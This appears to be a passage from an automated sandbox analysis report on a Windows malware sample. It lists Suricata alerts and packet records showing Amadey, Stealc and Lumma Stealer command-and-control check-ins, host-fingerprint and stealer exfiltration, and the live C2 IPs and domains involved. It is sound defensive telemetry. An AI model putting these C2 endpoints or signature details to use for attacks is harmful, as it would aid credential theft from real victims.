RT_MANIFEST	0x4c112c	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397
RT_MANIFEST	0x4c1412	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-01T12:33:33.858170+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.7	49782	TCP
2024-11-01T12:34:03.622612+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	49956	185.215.113.16	80	TCP
2024-11-01T12:34:04.306238+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.16	80	192.168.2.7	49956	TCP
2024-11-01T12:34:04.577819+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49956	185.215.113.16	80	TCP
2024-11-01T12:34:07.568340+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49971	185.215.113.16	80	TCP
2024-11-01T12:34:08.940163+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.16	80	192.168.2.7	49972	TCP
2024-11-01T12:34:09.221409+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49972	185.215.113.16	80	TCP
2024-11-01T12:34:09.800847+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49973	185.215.113.206	80	TCP
2024-11-01T12:34:12.131499+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.7	49974	TCP
2024-11-01T12:34:12.242334+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49975	185.215.113.16	80	TCP
2024-11-01T12:34:13.575442+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	61394	1.1.1.1	53	UDP
2024-11-01T12:34:13.598252+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	60739	1.1.1.1	53	UDP
2024-11-01T12:34:13.637872+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	50305	1.1.1.1	53	UDP
2024-11-01T12:34:13.651329+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	55444	1.1.1.1	53	UDP
2024-11-01T12:34:13.665561+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.7	65008	1.1.1.1	53	UDP
2024-11-01T12:34:14.328629+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49978	188.114.96.3	443	TCP
2024-11-01T12:34:14.328629+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49978	188.114.96.3	443	TCP
2024-11-01T12:34:15.061850+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49978	188.114.96.3	443	TCP
2024-11-01T12:34:15.061850+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49978	188.114.96.3	443	TCP
2024-11-01T12:34:15.778278+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49980	188.114.96.3	443	TCP
2024-11-01T12:34:15.778278+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49980	188.114.96.3	443	TCP
2024-11-01T12:34:16.279963+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49980	188.114.96.3	443	TCP
2024-11-01T12:34:16.279963+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49980	188.114.96.3	443	TCP
2024-11-01T12:34:17.155449+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49982	188.114.96.3	443	TCP
2024-11-01T12:34:17.155449+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49982	188.114.96.3	443	TCP
2024-11-01T12:34:18.785410+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49984	188.114.96.3	443	TCP
2024-11-01T12:34:18.785410+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49984	188.114.96.3	443	TCP
2024-11-01T12:34:19.553740+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49984	188.114.96.3	443	TCP
2024-11-01T12:34:21.261557+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49986	188.114.96.3	443	TCP
2024-11-01T12:34:21.261557+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49986	188.114.96.3	443	TCP
2024-11-01T12:34:22.780630+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49987	185.215.113.206	80	TCP
2024-11-01T12:34:23.707899+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49990	188.114.96.3	443	TCP
2024-11-01T12:34:23.707899+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49990	188.114.96.3	443	TCP
2024-11-01T12:34:25.808862+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49992	188.114.96.3	443	TCP
2024-11-01T12:34:25.808862+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49992	188.114.96.3	443	TCP
2024-11-01T12:34:28.197068+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49995	188.114.96.3	443	TCP
2024-11-01T12:34:28.197068+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49995	188.114.96.3	443	TCP
2024-11-01T12:34:28.696031+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49995	188.114.96.3	443	TCP
2024-11-01T12:34:28.909668+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	63893	1.1.1.1	53	UDP
2024-11-01T12:34:28.923924+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	55163	1.1.1.1	53	UDP
2024-11-01T12:34:28.935397+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	62836	1.1.1.1	53	UDP
2024-11-01T12:34:28.947122+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	51488	1.1.1.1	53	UDP
2024-11-01T12:34:29.569740+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49998	188.114.96.3	443	TCP
2024-11-01T12:34:29.569740+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49998	188.114.96.3	443	TCP
2024-11-01T12:34:29.636584+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49996	185.215.113.16	80	TCP
2024-11-01T12:34:30.107780+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49998	188.114.96.3	443	TCP
2024-11-01T12:34:30.107780+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49998	188.114.96.3	443	TCP
2024-11-01T12:34:30.860059+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50000	188.114.96.3	443	TCP
2024-11-01T12:34:30.860059+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50000	188.114.96.3	443	TCP
2024-11-01T12:34:31.597429+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50000	188.114.96.3	443	TCP
2024-11-01T12:34:31.597429+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50000	188.114.96.3	443	TCP
2024-11-01T12:34:32.488084+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50002	188.114.96.3	443	TCP
2024-11-01T12:34:32.488084+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50002	188.114.96.3	443	TCP
2024-11-01T12:34:34.232140+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50004	188.114.96.3	443	TCP
2024-11-01T12:34:34.232140+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50004	188.114.96.3	443	TCP
2024-11-01T12:34:36.561775+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50007	188.114.96.3	443	TCP
2024-11-01T12:34:36.561775+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50007	188.114.96.3	443	TCP
2024-11-01T12:34:38.977124+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50009	188.114.96.3	443	TCP
2024-11-01T12:34:38.977124+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50009	188.114.96.3	443	TCP
2024-11-01T12:34:39.603366+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50010	185.215.113.206	80	TCP
2024-11-01T12:34:42.303330+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50014	188.114.96.3	443	TCP
2024-11-01T12:34:42.303330+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50014	188.114.96.3	443	TCP
2024-11-01T12:34:44.895979+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50018	188.114.96.3	443	TCP
2024-11-01T12:34:44.895979+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50018	188.114.96.3	443	TCP
2024-11-01T12:34:46.341050+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	60677	1.1.1.1	53	UDP
2024-11-01T12:34:46.375855+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	59219	1.1.1.1	53	UDP
2024-11-01T12:34:46.393257+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	60283	1.1.1.1	53	UDP
2024-11-01T12:34:46.410677+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	56803	1.1.1.1	53	UDP
2024-11-01T12:34:47.041985+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50020	188.114.96.3	443	TCP
2024-11-01T12:34:47.041985+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50020	188.114.96.3	443	TCP
2024-11-01T12:34:47.548271+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50020	188.114.96.3	443	TCP
2024-11-01T12:34:47.548271+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50020	188.114.96.3	443	TCP
2024-11-01T12:34:48.264931+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50023	188.114.96.3	443	TCP
2024-11-01T12:34:48.264931+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50023	188.114.96.3	443	TCP
2024-11-01T12:34:48.609669+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50023	188.114.96.3	443	TCP
2024-11-01T12:34:48.609669+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50023	188.114.96.3	443	TCP
2024-11-01T12:34:49.666140+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50026	188.114.96.3	443	TCP
2024-11-01T12:34:49.666140+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50026	188.114.96.3	443	TCP
2024-11-01T12:34:50.964344+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	50022	TCP
2024-11-01T12:34:51.078161+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50028	188.114.96.3	443	TCP
2024-11-01T12:34:51.078161+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50028	188.114.96.3	443	TCP
2024-11-01T12:34:51.640484+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	50028	188.114.96.3	443	TCP
2024-11-01T12:34:51.869605+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50029	185.215.113.43	80	TCP
2024-11-01T12:34:52.607975+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50031	188.114.96.3	443	TCP
2024-11-01T12:34:52.607975+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50031	188.114.96.3	443	TCP
2024-11-01T12:34:54.249437+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50035	188.114.96.3	443	TCP
2024-11-01T12:34:54.249437+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50035	188.114.96.3	443	TCP
2024-11-01T12:34:55.904340+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50037	188.114.96.3	443	TCP
2024-11-01T12:34:55.904340+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50037	188.114.96.3	443	TCP
2024-11-01T12:34:57.861247+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	58806	1.1.1.1	53	UDP
2024-11-01T12:34:57.881084+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	57904	1.1.1.1	53	UDP
2024-11-01T12:34:57.897505+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	59266	1.1.1.1	53	UDP
2024-11-01T12:34:57.911711+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	52260	1.1.1.1	53	UDP
2024-11-01T12:34:57.960385+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50039	185.215.113.43	80	TCP
2024-11-01T12:34:58.317789+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50041	188.114.96.3	443	TCP
2024-11-01T12:34:58.317789+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50041	188.114.96.3	443	TCP
2024-11-01T12:34:58.545235+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50042	188.114.96.3	443	TCP
2024-11-01T12:34:58.545235+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50042	188.114.96.3	443	TCP
2024-11-01T12:34:58.929387+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50043	185.215.113.16	80	TCP
2024-11-01T12:34:59.086774+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50042	188.114.96.3	443	TCP
2024-11-01T12:34:59.086774+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50042	188.114.96.3	443	TCP
2024-11-01T12:34:59.797937+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50045	188.114.96.3	443	TCP
2024-11-01T12:34:59.797937+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50045	188.114.96.3	443	TCP
2024-11-01T12:35:00.236840+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50045	188.114.96.3	443	TCP
2024-11-01T12:35:00.236840+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50045	188.114.96.3	443	TCP
2024-11-01T12:35:01.217494+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50047	188.114.96.3	443	TCP
2024-11-01T12:35:01.217494+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50047	188.114.96.3	443	TCP
2024-11-01T12:35:02.987908+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50049	188.114.96.3	443	TCP
2024-11-01T12:35:02.987908+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50049	188.114.96.3	443	TCP
2024-11-01T12:35:04.575441+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50051	188.114.96.3	443	TCP
2024-11-01T12:35:04.575441+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50051	188.114.96.3	443	TCP
2024-11-01T12:35:07.288866+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50055	188.114.96.3	443	TCP
2024-11-01T12:35:07.288866+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50055	188.114.96.3	443	TCP
2024-11-01T12:35:07.603645+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.7	50054	185.215.113.43	80	TCP
2024-11-01T12:35:08.828682+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50057	185.215.113.16	80	TCP
2024-11-01T12:35:09.288350+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50059	188.114.96.3	443	TCP
2024-11-01T12:35:09.288350+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50059	188.114.96.3	443	TCP
2024-11-01T12:35:12.157477+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50063	188.114.96.3	443	TCP
2024-11-01T12:35:12.157477+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50063	188.114.96.3	443	TCP
2024-11-01T12:35:12.826725+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50063	188.114.96.3	443	TCP
2024-11-01T12:35:13.782945+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	50066	185.215.113.16	80	TCP
2024-11-01T12:35:13.940338+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50067	185.215.113.43	80	TCP
2024-11-01T12:35:18.153532+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50073	185.215.113.43	80	TCP
2024-11-01T12:35:19.862754+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50075	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 12:34:02.718312025 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:02.723289967 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:02.723440886 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:02.731542110 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:02.736326933 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:03.622545004 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:03.622612000 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:03.668210983 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:03.672919989 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.297420025 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.297487020 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.301079988 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.306237936 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.577694893 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.577701092 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.577713966 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.577733994 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.577740908 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.577747107 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.577752113 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.577790022 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.577800989 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.577819109 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.577857018 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.577863932 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.577883959 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.577922106 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.578300953 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.578362942 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.582676888 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.582741976 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.741029978 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.741036892 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.741048098 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.741087914 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.741094112 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.741192102 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.741233110 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.741403103 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.741409063 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.741415024 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.741420031 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.741426945 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.741451025 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.741480112 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.742420912 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.742428064 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.742439032 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.742482901 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.742484093 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.742490053 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.742531061 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.742991924 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.742997885 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.743007898 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.743040085 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.743057013 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.743062973 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.743092060 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.743777037 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.743786097 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.743839979 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.885502100 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.885507107 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.885548115 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.885559082 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.885564089 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.885618925 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.885626078 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.885637045 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.885648966 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.885648966 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.885725975 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.886111021 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.886168957 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.886173010 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.886174917 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.886195898 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.886224985 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.886234999 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.886253119 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.886290073 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.886421919 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.886426926 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.886464119 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.886470079 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.886476040 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.886487007 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.886503935 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.886545897 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.886553049 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.886564970 CET	80	49956	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:04.886605978 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.886636019 CET	49956	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:04.887392998 CET	80	49956	185.215.113.16	192.168.2.7
